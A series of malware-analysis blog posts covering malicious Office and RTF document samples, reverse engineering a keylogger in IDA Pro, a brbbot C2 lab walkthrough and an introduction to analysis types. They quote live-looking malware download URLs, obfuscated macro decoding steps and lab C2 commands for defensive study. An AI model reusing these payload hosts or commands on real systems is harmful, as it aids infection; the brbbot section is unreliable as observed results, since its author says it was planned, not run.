I transferred page-out.exe to the Windows VM and executed it while running fakedns and INetSim on REMnux to simulate internet services. The executable immediately tried to connect out — confirming downloader behavior. Process Hacker showed a.exe running on the desktop (the default binary INetSim serves).

# On REMnux — terminal 1
fakedns

# On REMnux — terminal 2
inetsim

# The shellcode attempted to download from: http://www.exploitmaze.com/01akin.exe

Part 4: Microsoft Office Document Analysis

Office documents with malicious macros remain one of the most common initial access vectors. I analyzed several document types, each presenting different challenges.

media.docm — Downloader Macro

# Extract macros with olevba.py
olevba.py media.docm | more

The macro used MSXML2.XMLHTTP to download http://softtonic.biz/cr/20014.exe and saved it to %AppData%\q\q.com, then executed it. Classic downloader behavior.

# Extract the docx internals
unzip media.docm -d media

# Examine the embedded image
feh media/word/media/image2.jpg &

# Find URLs in the VBA project
strings vbaProject.bin | grep http
strings --encoding=l vbaProject.bin | grep http
# Found: softtonic.biz AND dropboxusercontent.com (interesting secondary URL)

# Examine macro streams
oledump.py vbaProject.bin
oledump.py -s 3 -v vbaProject.bin | more

message.docm — Dropper with Hex-Embedded Executable

This one was more sophisticated — the macro didn't download anything. Instead, it extracted an executable that was already embedded inside the document.

olevba.py message.docm | more

The macro iterated through every paragraph in the document, extracting hexadecimal characters, converting them to binary, and saving the result as %UserProfile%\BrhotakdNdVMM.exe.

# Extract and examine the document contents
unzip message.docm -d message
scite message/word/document.xml &

The document.xml contained hidden hexadecimal values formatted in white text (FFFFFFFF) on a white background — invisible to the victim, but parseable by the macro.

# Use the provided extraction script
python message_extract.py message.docm extracted.exe

invoice.doc — XOR-Obfuscated Macro

The invoice.doc macro used a two-layer decoding scheme: Hextostring followed by XORI, which XORed two strings together. The macro also had heavy junk code with endless GoTo statements and randomly-named labels.

# Extract the macro
oledump.py invoice.doc
oledump.py invoice.doc -s 7 -v > invoice.txt
scite invoice.txt &

Despite the obfuscation, I could spot method names: Open, Send, responseBody — all indicating HTTP download behavior.

Manual XOR decoding with xor-kpa.py:

xor-kpa.py -x '#h#2B07372B185D480C222A1C3B3204' '#h#66546F'
xor-kpa.py -x '#h#122F20' '#h#556A74'
xor-kpa.py -x '#h#152D2404270A0924' '#h#634F42'
xor-kpa.py -x '#h#29240416204F3B3C111625021B38081522' '#h#7A4C61'
xor-kpa.py -x '#h#391F2913' '#h#6D5A6443716F69'
xor-kpa.py -x '#h#2406210B022E063F0B173F0C5F2A2D1D' '#h#7854714F55'
xor-kpa.py -x '#h#123E070240655C1B173A1600132B1F17142F0115036410135520005D18231D5C1F3216' '#h#7A4A7372'
xor-kpa.py -x '#h#1D1C3F19' '#h#495972'
xor-kpa.py -x '#h#39081E31141237140A37041C4B3F3610' '#h#655A4E754344'

Decoded results revealed: MSXML2.XMLHTTP, GET, Shell.Application, TEMP, and the download URL: http://imperialenergy.ca/js/bin.exe.

Automated extraction with oledump.py plugin:

oledump.py invoice.doc -p plugin_http_heuristics
# Automatically extracted: http://imperialenergy.ca/js/bin.exe

poc.doc — P-Code Macros

This was a fascinating edge case. The document contained no extractable macro source code — only compiled p-code.

# olevba.py finds nothing
olevba.py poc.doc

# oledump.py lists streams but no 'M' markers
oledump.py poc.doc

# But stream 7 contains suspicious binary content
oledump.py poc.doc -s 7 | more

# Extract and disassemble the p-code
pcodedmp.py -d poc.doc | more

The p-code disassembly revealed two ArgsCall instructions: one displaying a message box ("This could have been a virus!") and another using Shell to execute calc.exe — a classic proof-of-concept demonstrating that p-code can execute even when no source code is present.

Part 5: RTF Document Analysis and Shellcode Extraction

RTF files are another popular delivery format because they can embed objects and obfuscate content through excessive nesting.

payment.doc — Deeply Nested RTF with Embedded Shellcode

# Count the number of {} groups — abnormally high count suggests obfuscation
rtfdump.py payment.doc | wc -l
# Output: ~23,000 lines

# List only groups containing objects
rtfdump.py payment.doc -f O

Group 166 stood out: Level 5 nesting, 1,194,787 bytes, with 11,417 hex characters.

# Examine the suspicious group
rtfdump.py payment.doc -s 166 | more

# Convert hex to bytes and examine
rtfdump.py payment.doc -s 166 -H > payment-out2.txt
scite payment-out2.txt &

Scrolling through the hex dump in SciTE, I spotted the telltale signs: a \x90\x90\x90\x90 NOP sled at offset 0xBA0, followed by assembly instructions, and strings like LoadLibraryA, URLDownloadToFileA, WinExec, plus the URL http://rtnlogistics.com/nestom22.exe at offset 0xCB0.

Carving the shellcode:

rtfdump.py payment.doc -s 166 -H -c 0xBA0:0xCE0 -d > payment-out.bin

After transferring to Windows and emulating in scdbg, the shellcode confirmed its behavior: downloading from rtnlogistics.com, saving as word.scr, and executing via WinExec.

qa.doc — RTF Dropper with jmp2it Dynamic Analysis

The qa.doc file was more complex — the shellcode didn't just download a payload, it actually created a fake WINWORD.EXE file and embedded a multi-stage dropper inside it.

# Locate the suspicious group
rtfdump.py qa.doc
# Group 5: large size, high nesting level

# Extract the binary content
rtfdump.py qa.doc -s 5 -H -d > qa-out.bin

Finding shellcode patterns with XORSearch:

xorsearch -W -d 3 qa-out.bin
# Results:
# GetEIP pattern at 0x3B (cleartext, XOR key 0)
# Similar pattern at 0x5D (XOR key F3)

The GetEIP pattern at 0x3B indicated the likely shellcode entry point.

Emulating in scdbg with proper context:

# On Windows REM Workstation with scdbg:
# - Enable "Start Offset" and enter: 3B
# - Enable "fopen" checkbox and point to qa.doc
# - Click Launch

The shellcode called GetFileSize (returning 357ab hex = 219,051 bytes — the exact size of qa.doc), created C:\Program Files (x86)\Microsoft Office, and made ReadFile/WriteFile calls to generate WINWORD.EXE.

Live execution with jmp2it:

# On Windows Command Prompt:
jmp2it qa-out.bin 0x3B addhandle qa.doc

After 30-60 seconds, I checked C:\Program Files (x86)\Microsoft Office and found the newly created WINWORD.EXE. Extracting it with 7-Zip revealed three files:

1.vbs — launches test.bat in a hidden window
test.bat — runs start comres.exe -p123qwe
comres.exe — a password-protected self-extracting archive containing comres.dll

The endgame: the DLL gets dropped into %SystemRoot% (C:\Windows), where a separate attack component can load it.

Part 6: Excel with Embedded JavaScript and Certificate Injection

The sbb.xlsx file was an unusual case — it contained an embedded JavaScript script inside an OLE2 object, designed to manipulate browser proxy settings and inject a fake SSL certificate.

# List streams
oledump.py sbb.xlsx
# Found: oleObject1.bin with large stream A3 (27,162 bytes)

# Get info about the stream
oledump.py sbb.xlsx -s A3 -i
# Filename: sbb_ch_29.29.2929.js (what Excel saves to %Temp%)

# Extract the JavaScript
oledump.py sbb.xlsx -s A3 -d > sbb-out.js

After cleaning non-JavaScript text from the file (removing header/footer garbage), I deobfuscated it:

# Run through SpiderMonkey
js -f /usr/share/remnux/objects.js -f sbb-out.js > sbb-out2.js

# The output references reverse() — try reversing all strings
rev sbb-out2.js > sbb-out3.txt
scite sbb-out3.txt &

The reversed strings revealed alarming capabilities:

taskkill /F /im chrome.exe, firefox.exe, iexplore.exe
Registry manipulation: AutoConfigURL, AutoDetect (browser proxy settings)
PowerShell execution with -ExecutionPolicy Unrestricted
IP detection via api.ipify.org and icanhazip.com
Connection to an onion.link URL (TOR network proxy)

Deeper analysis with box-js:

box-js sbb-out.js --no-shell-error --no-file-exists > sbb-out4.txt
scite sbb-out4.txt &

box-js emulated the script's full behavior and saved artifacts in sbb-out.js.results/. The resources.json showed the script generating cert.der files in %Temp%. Converting with OpenSSL:

openssl x509 -in 56a9* -inform der -text -noout | more
# Result: A fake certificate claiming to be from "COMODO Certification Authority"

The full picture: this script kills browsers, installs a fake CA certificate, redirects traffic through a TOR-proxied attacker server via proxy AutoConfig, and uses the victim's public IP as a parameter in the callback URL.

How to Verify Your Analysis

Throughout this process, I used several validation techniques to confirm findings:

Verification Method	When to Use	Expected Confirmation
scdbg emulation	After extracting shellcode	API call sequence matches hypothesis (e.g., `URLDownloadToFileA` → `WinExec`)
INetSim + fakedns	For downloaders	Process attempts HTTP/HTTPS connection, receives default binary
Process Hacker	Live execution on Windows	New process spawned with expected name and parent relationship
File command	After carving binaries	Output matches expected type (PE, Flash, etc.)
peframe	PE files post-extraction	Suspicious APIs (network, process creation) present in import table
7-Zip extraction	Self-extracting archives	Internal structure reveals staging components (batch files, DLLs)
Hash verification	Cross-referencing samples	Same file hash across different extraction methods confirms consistency

What I Learned

This deep dive reinforced several important lessons:

1. Layered obfuscation is the norm, not the exception. Every single sample used multiple layers — hex encoding, XOR, reversed strings, tuple assignments, junk code, excessive nesting. Attackers know analysts are looking, so they add friction at every step.

2. Context matters for deobfuscation. The fgg.js script wouldn't deobfuscate correctly until location.href was set to the exact URL it expected. Environmental awareness — understanding what objects and values a script relies on — is critical.

3. The right tool for the right job. SpiderMonkey worked for some scripts, but box-js was necessary for others. pdfid.py gives a quick risk assessment, but pdf-parser.py does the heavy lifting. scdbg is great for emulation, but jmp2it reveals behavior that emulation might miss.

4. Network artifacts tell the full story. Even the most obfuscated document ultimately needs to communicate. Traffic analysis (Fiddler, Wireshark, CapTipper) often provides the clearest view of the attacker's end goal.

5. P-code is a real threat. The poc.doc exercise showed that documents can execute malicious macros even when no source code is extractable. Tools like pcodedmp.py fill a critical gap that traditional macro extractors can't handle.

6. Certificate attacks are sophisticated. The sbb.xlsx sample demonstrated a multi-stage attack involving fake CA certificates, browser proxy hijacking, and TOR-concealed command-and-control — a level of sophistication that goes well beyond simple downloaders.

Common Mistakes to Avoid

Mistake	Why It Happens	How to Avoid
Forgetting to revert beautified scripts before debugging	Beautification can break execution	Always work from the original, insert your `debugger;`, then save
Wrong `location.href` in objects.js	Copy-pasting without checking	Verify the URL matches where the script was originally hosted
Missing the correct stream in oledump.py	Not checking all streams	Use `oledump.py` without flags first to see the full listing and identify 'M' markers
Forgetting `-H` flag with rtfdump.py	Confusion between hex view and binary extraction	Remember: `-H` converts hex characters to bytes; without it you get text output
Incorrect shellcode offset in scdbg	Assuming shellcode starts at offset 0	Use XORSearch or manual hex analysis to find NOP sleds or GetEIP patterns
Not enabling `fopen` in scdbg for context-dependent shellcode	Shellcode reads from the original file	If the shellcode accesses the parent document, use `addhandle` or `fopen`
Skipping the `-d` flag in base64dump.py	Misunderstanding output format	`-d` outputs raw binary; without it you might get hex or ASCII representations

Conclusion

Malware analysis is as much about methodology as it is about tools. Each sample in this exercise required a slightly different approach, but the underlying process remained consistent: observe, hypothesize, extract, verify. Whether you're looking at a compromised website's traffic, an obfuscated JavaScript file, a suspicious PDF, or a macro-laden Office document, the goal is always to answer the same questions: What does this do? How does it do it? And what would it have done if it had succeeded?

The breadth of techniques covered here — from browser debugging and JavaScript emulation to PDF stream extraction, shellcode carving, and p-code disassembly — reflects the reality of modern threat analysis. Attackers use the full range of file formats and delivery mechanisms available to them. As analysts, we need to be equally versatile.

If you're building your malware analysis skills, I'd encourage you to set up a similar lab environment (REMnux + Windows VM), grab some samples, and work through them systematically. The hands-on experience of peeling back obfuscation layers and watching a hidden payload reveal itself never gets old.

Stay curious, stay skeptical, and always verify.

Reverse Engineering a Windows Keylogger with IDA Pro: Assembly-Level Deep Dive

Khalif AL Mahmud — Fri, 26 Jun 2026 12:34:38 +0000

When I first loaded msdsrv.exe into IDA Pro, I had no idea what I was dealing with. No strings, no obvious behavior — just raw assembly. What followed was one of the most satisfying reverse engineering sessions I've had: peeling back the layers of a real-world keylogger, instruction by instruction.

This post walks through exactly how I reverse engineered this sample using IDA Pro's free edition. We'll cover imports analysis, Windows hooking, compound conditionals in assembly, and jump table mechanics — all the good stuff.

Why Keyloggers Are Interesting to Reverse Engineer

Keyloggers are deceptively simple malware. Their whole job is to capture what you type and write it somewhere — a file, a remote server, a registry key. But at the assembly level, they use some fascinating Windows internals: low-level keyboard hooks, virtual key code mappings, and modifier key detection.

Understanding how they work at this level teaches you patterns you'll see across a huge range of malware families.

The Sample: msdsrv.exe

The file is a 32-bit Windows PE executable. Before doing anything dynamic, I loaded it straight into IDA Pro for static analysis. No sandboxes, no execution — just the disassembler and MSDN documentation.

Step 1: Checking the Imports Tab

The Imports tab in IDA is often the fastest way to build a theory about what malware does before you read a single instruction.

For msdsrv.exe, these stood out immediately:

API	Purpose
`GetKeyState`	Check if a specific key is currently pressed
`GetAsyncKeyState`	Check key state asynchronously (across threads)
`SetWindowsHookExA`	Install a system-wide hook procedure
`OpenClipboard`	Access clipboard contents
`GetClipboardData`	Read from clipboard
`CallNextHookEx`	Pass the hook message to the next handler in chain

Just from the imports, the picture is clear: this binary installs a keyboard hook and reads keystrokes. Classic keylogger architecture.

Step 2: Locating SetWindowsHookEx References

I double-clicked SetWindowsHookExA in the Imports tab, then pressed x to view all cross-references. Three calls showed up:

0x00403FD1
0x0040440F
0x0040F5B7

The key parameter here is idHook — it tells you what kind of events the hook captures. Cross-referencing with MSDN's SetWindowsHookEx docs:

Address	idHook value	Constant	Meaning
`0x00403FD1`	`0x0D` (13)	`WH_KEYBOARD_LL`	Low-level keyboard hook
`0x0040440F`	`0x0D` (13)	`WH_KEYBOARD_LL`	Low-level keyboard hook
`0x0040F5B7`	`0x05`	`WH_CBT`	Window/UI change hook

Two of the three calls install a low-level keyboard hook. That's the primary keystroke capture mechanism. The WH_CBT hook monitors window activity — likely used to track which application is active when keystrokes are captured.

Step 3: Navigating to the Hook Procedure

The hook procedure is the callback function that runs every time a keyboard event fires. I jumped to it directly using IDA's g hotkey:

g → 4024D0

Pressing Spacebar switches from Text view to Graph view. Zooming out on this function reveals something impressive: dozens of decision blocks branching in every direction. This is not a simple function — it handles an enormous number of cases.

I used View → Open Subviews → Function Calls to get a high-level summary of everything called from inside this function. The list was dominated by repeated calls to GetKeyState and GetAsyncKeyState — the actual keystroke readers.

Step 4: The Compound Expression — Filtering for Numeric Keys

I jumped to 0x40259F — the address of a GetAsyncKeyState call — and looked at what comes before it (addresses 0x40258B–0x402597).

Here's the assembly:

; At 0x402585
MOV EAX, [lParam]         ; lParam is a pointer to KBDLLHOOKSTRUCT
MOV EAX, [EAX]            ; dereference → vkCode (virtual key code) now in EAX

; At 0x40258E
JB  0x40273B              ; jump if EAX < 0x30 (below '0' key)

; At 0x402597
JA  0x40273B              ; jump if EAX > 0x39 (above '9' key)

The lParam parameter of a keyboard hook points to a KBDLLHOOKSTRUCT. The first member (vkCode) is the virtual key code of the key that was pressed.

The compound expression does this:

If the key code is below 0x30 → bail out (not a digit key)
If the key code is above 0x39 → bail out (not a digit key)
Otherwise, continue to 0x40259D — the key pressed is 0 through 9

This is a range check using two separate conditional jumps — a classic assembly pattern for if (key >= '0' && key <= '9').

Step 5: Checking the Shift Key with GetAsyncKeyState

Once we know a numeric key was pressed, the code checks whether Shift is held down. At 0x40259F:

PUSH 10h                  ; VK_SHIFT = 0x10
CALL GetAsyncKeyState     ; was Shift pressed?
TEST AX, AX               ; test the lower 16 bits of return value
JZ   0x40270D             ; jump if Shift is NOT pressed

From MSDN: GetAsyncKeyState returns a value where the least significant bit is set if the key was pressed since the last call. The TEST AX, AX checks this.

So: if AX is zero (Shift not pressed), we jump to 0x40270D and skip the special character handling. If Shift is pressed, we continue.

This makes perfect sense — pressing Shift + 1 on a US keyboard produces !. The keylogger needs to know whether Shift was held to log the actual character the user typed, not just the key code.

Step 6: The Jump Table — Mapping Digits to Special Characters

Now it gets interesting. At 0x4025BC:

JMP ds:off_403380[EAX*4]

This is a jump table — a common compiler optimization for switch statements. Instead of a chain of if/else comparisons, the code multiplies EAX by 4 (each address is 4 bytes) and jumps to the corresponding entry in the table at 0x403380.

Before the jump, there's a normalization step:

; At 0x4025B0
ADD EAX, 0FFFFFFD0h       ; This is -0x30 in two's complement
                           ; If EAX = 0x39 ('9'), result = 9
                           ; If EAX = 0x30 ('0'), result = 0

Then a bounds check:

CMP EAX, 9
JA  0x403339              ; if above 9, don't access table (safety check)

So the jump table has 10 entries (0 through 9), mapping each digit's key code to a branch that handles the Shift+digit combination.

Step 7: What Happens at the Jump Target (EAX = 1)

If EAX is 1 (the 1 key with Shift held), execution jumps to 0x4025E4. Here's what I found:

; At 0x4025E4
CMP byte_4375D0, 0        ; check a flag byte

; At 0x4025EB
MOV EAX, offset aExclamation   ; pointer to "!" string

; At 0x4025F0
JNZ 0x4025F7              ; jump if flag is NOT zero (ALT not pressed)
MOV EAX, 1                ; else: ALT is pressed, use raw value instead

The flag at 0x4375D0 is set earlier in the function. Tracing back:

; At 0x402567
CMP EDI, 100h             ; is wParam == WM_KEYDOWN (ALT not pressed)?
SETZ DL                   ; DL = 1 if yes, 0 if no (ALT pressed)
MOV byte_4375D0, DL       ; store the result

WM_KEYDOWN (0x100) means a regular key down event — no ALT modifier. WM_SYSKEYDOWN (0x104) means ALT is held. The keylogger explicitly tracks this because:

Shift + 1 without ALT → log !
Shift + 1 with ALT → log the raw value 1 instead (ALT+number combos have different meanings in many applications)

Once the character is resolved, it gets pushed as an argument to sub_402070, which — after following a few more call chains — writes the keystroke to disk.

Finally, at 0x402600, a jump to 0x403339 leads to CallNextHookEx, which properly passes the event down the hook chain. Skipping this call would break keyboard input for the user — so even malicious hooks follow the rules here.

How to Verify This Analysis

If you want to walk through this yourself:

Load msdsrv.exe into IDA Free
Open the Imports tab and search for SetWindowsHookExA
Press x on the API name to view cross-references
Check the idHook argument pushed before each CALL
Press g and jump to 0x4024D0 to reach the hook procedure
Use View → Open Subviews → Function Calls to see the full call graph
Press g again and go to 0x40259F to examine the GetAsyncKeyState call

Hotkeys used in this session:
- Spacebar → Toggle Graph/Text view
- x        → View cross-references
- g        → Jump to address
- ;        → Add comment to instruction

What I Learned

Reversing this keylogger taught me several things that textbooks don't fully convey:

Windows hooks are legitimate APIs. SetWindowsHookEx is in every Windows SDK. The same API that powers accessibility tools powers keyloggers. Context is everything.

Assembly compound expressions have patterns. Back-to-back JB and JA checking the same register? That's a range check. Once you see it a few times, you start recognizing it instantly.

Jump tables are elegant but tricky. The JMP ds:table[EAX*4] pattern is generated by compilers for dense switch statements. Spotting the normalization (ADD EAX, -0x30) before the table access was the key to understanding the structure.

Following return values matters. EAX carries return values in 32-bit x86. Every time I saw TEST EAX, EAX or CMP EAX, something right after a CALL, that was the program checking whether the last function succeeded. Building this reflex makes code reading much faster.

ALT modifier handling reveals attacker intent. The fact that this keylogger specifically distinguishes WM_KEYDOWN from WM_SYSKEYDOWN shows the author wanted accurate character logging, not just key codes. That's a sign of deliberate, targeted development.

Common Mistakes Table

Mistake	What Actually Happens
Confusing `JZ` and `JNZ` after `TEST EAX, EAX`	You get the branch condition backwards — this is the #1 source of errors when reading conditionals
Reading ADD with a large hex operand as addition	`0FFFFFFD0h` is negative in two's complement — it's actually `-0x30`
Skipping the normalization step before a jump table	You'll misread the table index and end up at the wrong target address
Ignoring `wParam` in hook callbacks	It tells you the message type (WM_KEYDOWN vs WM_SYSKEYDOWN) — missing this means you miss the ALT detection logic
Not cross-referencing `lParam` with MSDN	`lParam` in keyboard hooks points to a `KBDLLHOOKSTRUCT` — without that knowledge, dereferencing it makes no sense
Treating all `SetWindowsHookEx` calls the same	The `idHook` value completely changes the behavior — always check what type of hook is being installed

Conclusion

What started as a black-box executable became a fully understood keystroke capture mechanism — just through IDA's disassembler and MSDN documentation. No dynamic execution, no sandbox, no behavioral analysis.

The most valuable thing about this kind of static analysis is that it works even when malware is designed to evade sandboxes. The code still has to run somewhere. And when it does, it follows rules — calling conventions, API contracts, register semantics. Those rules are exactly what make reverse engineering possible.

Reverse Engineering a Live Specimen: A Practical Walkthrough of brbbot.exe (Static, Behavioral, Network, and C2 Analysis)

Khalif AL Mahmud — Fri, 26 Jun 2026 12:06:59 +0000

After working through the conceptual side of malware analysis — classification, the four analysis types, lab isolation principles — I wanted to map out what an actual end-to-end analysis of a real specimen looks like in practice, tool by tool.

This post walks through the full investigative chain for a sample called brbbot.exe: starting from static properties, moving into live behavioral observation, intercepting its network traffic, decrypting its configuration file with a debugger, and finally interacting with its command-and-control (C2) logic directly. It's structured as a practical methodology guide — the kind of thing I wish I'd had as a map before diving into the tools individually.

Problem Statement

Most malware analysis guides cover one tool in isolation — "here's how Wireshark works," "here's how x64dbg works" — without showing how those tools chain together into a single investigation. A real analysis isn't "use tool X," it's "use static analysis to form a hypothesis, use behavioral analysis to test it, use network interception to see what the hypothesis predicted, and use a debugger when you need ground truth on exactly what the code is doing."

This walkthrough is my attempt to lay out that chain clearly, end to end, against one consistent specimen.

Lab Setup (Prerequisite)

Before any of this is possible, you need two isolated VMs talking to each other on a host-only network:

REMnux VM        → static IP, e.g. 192.168.56.10
Windows VM       → static IP, e.g. 192.168.56.20

Both VMs need a clean snapshot taken immediately after setup — this is the rollback point you return to before and after every infection.

# On REMnux, confirm connectivity from Windows side first
ping 192.168.56.10

Step-by-Step Walkthrough

Phase 1: Static Properties Analysis

Goal: Form an initial hypothesis about the specimen without ever executing it.

On REMnux, extract embedded strings:

pestr -n 5 -o brbbot.exe

On the Windows VM, cross-check using BinText (string extraction) and PeStudio (header/import/export inspection). The combination of both tools matters — PeStudio surfaces anomalous header characteristics (suspicious imports, packer signatures, unusual section names) that raw strings won't flag on their own.

On REMnux, run peframe as a second opinion:

peframe brbbot.exe

What you're looking for at this stage: registry paths, hardcoded URLs or domains, suspicious API names in the import table (CryptDecrypt, RegSetValueEx, InternetOpen), and anything that hints at persistence or network behavior before you've run a single instruction.

Phase 2: Initial Behavioral Analysis

Goal: Observe what the specimen actually does on a live system, in real time.

Set up four monitoring tools before triggering the infection:

Process Hacker     → running process tree, before/after comparison
Process Monitor    → file system / registry / process activity log
Regshot             → registry diff (before/after snapshots)
Wireshark           → network capture (on REMnux, monitoring the link)

On REMnux:

wireshark &
# Activate capture (Ctrl+E) once the window opens

On the Windows VM: pause Process Monitor (Ctrl+E), clear its log (Ctrl+X), take the first Regshot snapshot, then activate Process Monitor capture and double-click the brbbot.exe shortcut to infect the system.

Let it run briefly, then terminate it via Process Hacker, stop all captures, and take the second Regshot snapshot to generate a diff report.

Regshot diff → reveals new files, new/modified registry keys
Process Monitor log → exportable as CSV, then visualized in ProcDOT

ProcDOT is the piece that ties Process Monitor's raw log into something readable — it builds a process/file/registry interaction diagram, with brbbot.exe flagged as the "first relevant process" so the graph centers on it.

Phase 3: Intercepting Network Traffic

Goal: Capture and decode the specimen's outbound communication, including its encoded payload.

This phase depends on controlling DNS resolution and serving fake responses so the specimen "thinks" it's talking to its real C2 infrastructure.

On REMnux, launch a fake DNS resolver:

fakedns

Verify it from the Windows side:

nslookup example.com
:: Should resolve to the REMnux VM's IP, not a real address

Reinfect the Windows VM with Wireshark capturing. At this stage, with no real web server running, you'll see the DNS resolution succeed but the subsequent HTTP request fail or hang — confirming the specimen is trying to reach out, but has nothing to talk to yet.

Then bring up a basic web server on REMnux:

httpd start

Reinfect again. This time the HTTP session should establish. In Wireshark, right-click a packet from that session and use Follow TCP Stream to read the full payload.

The exfiltrated data appears appended after a &p= parameter as hex-encoded bytes. Copy it out and save it for the next phase:

scite encoded.hex
# Paste clipboard contents, save, exit
cat encoded.hex   # sanity check

Phase 4: Decrypting the Configuration File

Goal: Move from observed behavior to ground-truth understanding by debugging the binary directly.

This is where code analysis enters the picture. On the Windows VM, load the binary into x64dbg without running it yet, and set a breakpoint on the Windows API call responsible for file reads:

SetBPX ReadFile

Run the specimen inside the debugger (F9). It will pause the moment it calls ReadFile. At that point, inspecting the register holding the file handle (typically RCX on x64) and cross-referencing it against the debugger's Handles tab confirms the specimen is reading its own dropped configuration file — brbconfig.tmp.

Continue execution past the read (Alt+F9), then look for the call to CryptDecrypt further down. Set a breakpoint after that call (on the following test eax,eax instruction) and run to it (F4). At this point, the decrypted plaintext should be sitting on the stack — readable directly in the debugger's stack view.

Decrypted config (example pattern): uri=ads.php...

Separately, on REMnux, decode the network payload captured in Phase 3. The encoding here is a simple single-byte XOR — not strong cryptography, just enough to defeat naive string-based detection:

xxd -r -p encoded.hex > encoded.raw
translate.py encoded.raw decoded.txt 'byte ^ 0x5b'
cat decoded.txt

Phase 5: Experimenting with C2 Functionality

Goal: Confirm the specimen actually responds to commands from its controller, not just that it phones home.

With the web server still running on REMnux, craft a response file that issues a command:

cd /var/www
echo "cexe c:\windows\notepad.exe" > ads.php

Reinfect the Windows VM and observe in Process Hacker — within roughly 30 seconds, brbbot.exe should spawn a notepad.exe child process repeatedly, confirming the cexe (command-execute) instruction is being parsed and acted on.

To confirm the kill-switch command as well:

rm ads.php
echo tixe > ads.php

Within 30 seconds, the running brbbot.exe process should terminate on its own — validating that the malware author built in a remote self-destruct mechanism, presumably to limit forensic exposure once a campaign is detected.

httpd stop

How to Verify

[ ] Static analysis surfaced at least one suspicious string/import before execution
[ ] Regshot/ProcDOT confirmed a concrete artifact (registry key or dropped file)
[ ] Wireshark captured a DNS lookup and a full HTTP session with the encoded payload
[ ] The config file's decrypted plaintext was visible directly in the debugger
[ ] The XOR-decoded exfiltration payload matched expectations
[ ] The cexe command produced an observable child process; tixe produced termination

What I Learned (Planning This Out)

Mapping this before running it clarified something: every phase exists to validate the previous phase's hypothesis. Static analysis says "this might talk to a C2 server." Behavioral analysis says "yes, and here's the registry key it leaves behind." Network interception says "and here's exactly what it sends." Code analysis says "and here's the exact decryption routine it uses." C2 experimentation says "and here's proof the channel is bidirectional, not just exfiltration."

It also reframed how I think about debugger breakpoints — SetBPX ReadFile isn't really about the API call itself, it's a tripwire placed at the boundary between "the malware's internal logic" and "the OS doing something observable." That's a pattern that generalizes well beyond this one specimen.

Common Mistakes

Mistake	Why It's a Problem	Better Approach
Skipping the fakedns/web server setup before reinfecting	The specimen's network calls silently fail, masking real C2 behavior	Always verify fakedns and the web server respond correctly before infecting
Forgetting to clear Process Monitor's log before infection	Pre-existing noise drowns out the actual infection-related events	Pause and clear the log (`Ctrl+X`) immediately before triggering infection
Setting the ReadFile breakpoint without checking the handle	You might be watching the wrong file read entirely	Always cross-reference the handle value against the Handles tab
Treating the XOR key as a one-off curiosity	Single-byte XOR is extremely common in malware obfuscation — recognizing the pattern speeds up future analysis	Note the technique (byte-wise XOR with a static key) as a reusable indicator
Not reverting to a clean snapshot between exercise phases	Leftover artifacts from a previous run can produce misleading "new" findings in Regshot/ProcDOT	Revert to the clean snapshot whenever the exercise calls for a pristine state

Conclusion

This was a full walkthrough of the analysis methodology before I've actually run a single command against the live VMs — and I think that's worth being upfront about. Mapping the entire chain first, tool by tool and phase by phase, means that when I do sit down with the actual lab, I'm executing a plan rather than improvising one.

If you've worked through a similar brbbot.exe-style exercise before, I'd be curious whether the C2 behavior matched what's outlined here, or whether there were surprises along the way.

Understanding Malware Analysis: Types, Methodology, and Lab Setup Fundamentals

Khalif AL Mahmud — Fri, 26 Jun 2026 09:57:17 +0000

I've been digging into malware analysis lately, and one thing became clear pretty fast: before you ever touch a debugger or run a suspicious binary, you need to understand the landscape — what malware actually is, how it's classified, and what a safe, repeatable analysis workflow looks like.

This post is my attempt to organize that foundation. No flashy exploit walkthrough here — just the core concepts I think anyone starting out in malware analysis needs to internalize first, because skipping this step is how people either get sloppy or get burned (sometimes literally infecting their own host machine).

Problem Statement

If you search "malware analysis tutorial," you mostly get tool-specific guides — "how to use Ghidra," "how to use Process Monitor" — without context on why you'd choose static vs. dynamic analysis, or how to build a lab that won't accidentally compromise your real network.

I wanted to write down the methodology layer first: the classification of malware, the four analysis approaches, and the non-negotiables of lab isolation. This is the stuff that makes the tool-specific tutorials actually make sense later.

What Malware Analysis Actually Is

Malware analysis is the study of a malicious program's behavior — the goal is to understand what it does, how it got in, and how to detect/eliminate it across an environment, not just on one infected machine.

A few concrete objectives that stuck with me:

Determine the nature of the malware — is it an infostealer, a keylogger, a spam bot, ransomware?
Understand the compromise — how did it get in, and what's the blast radius?
Infer attacker motive — banking credential theft usually points to financial motive; persistence + C2 beaconing might point to espionage.
Extract network indicators — domains, IPs, User-Agent strings — for network-level detection.
Extract host-based indicators — registry keys, dropped filenames, mutexes — for endpoint-level detection.

This connects directly to something called the Pyramid of Pain — a model showing that not all indicators are equally valuable to defenders:

Hash Values      → Trivial for attacker to change
IP Addresses      → Easy
Domain Names      → Simple
Network/Host Artifacts → Annoying
Tools             → Challenging
TTPs (Techniques/Tactics/Procedures) → Tough for attacker to change

The higher you climb the pyramid, the more it costs the attacker when you detect/block it. A hash is trivial to regenerate by recompiling; a TTP (like "this group always uses macro-based phishing + a specific persistence registry path") is much harder for them to abandon.

Malware Classification: Knowing What You're Dealing With

Before analyzing a sample, it helps to know which bucket it likely falls into, since that shapes your expectations about propagation and payload.

Viruses

Viruses require human interaction to spread — opening an infected file, running infected media. They don't self-propagate.

Propagation techniques I noted:

Technique	Description
Master Boot Record viruses	Infect the boot sector, execute before the OS loads
File infector viruses	Attach to executables, trigger on execution
Macro viruses	Abuse scripting in Office documents (e.g., Melissa virus)
Service injection viruses	Inject into trusted processes like `svchost.exe`, `explorer.exe`

The Melissa virus is the classic example — it used Word macros to email itself to the first 50 contacts in the victim's Outlook address book the moment the infected document was opened.

Worms

Worms are standalone and self-replicating — no host file, no human interaction needed. They spread by exploiting vulnerabilities directly.

Two examples that came up:

Code Red — exploited a buffer overflow in Microsoft IIS, self-replicated by scanning for vulnerable servers, then defaced hosted websites.
Stuxnet — targeted SCADA systems specifically, spreading via Windows vulnerabilities and USB drives, with a payload built to sabotage Siemens PLCs controlling centrifuges. A genuinely different class of malware — built for physical-world sabotage, not just data theft.

Trojans

Trojans look benign but carry a hidden malicious payload. They don't self-replicate — they rely on the user downloading or copying them.

Sub-categories worth knowing:

Remote Access Trojans (RATs)
Rogue antivirus software (fake security tools that are the malware)
Cryptomalware (mining cryptocurrency on the victim's hardware)
Botnet clients

The Four Types of Malware Analysis

This is the part I found most useful — a clear framework for how to approach any sample.

1. Static Analysis      → Examine without executing
2. Dynamic Analysis     → Execute in isolation, observe behavior
3. Code Analysis        → Disassemble/debug to understand internals
4. Memory Analysis      → Inspect RAM for forensic artifacts

1. Static Analysis

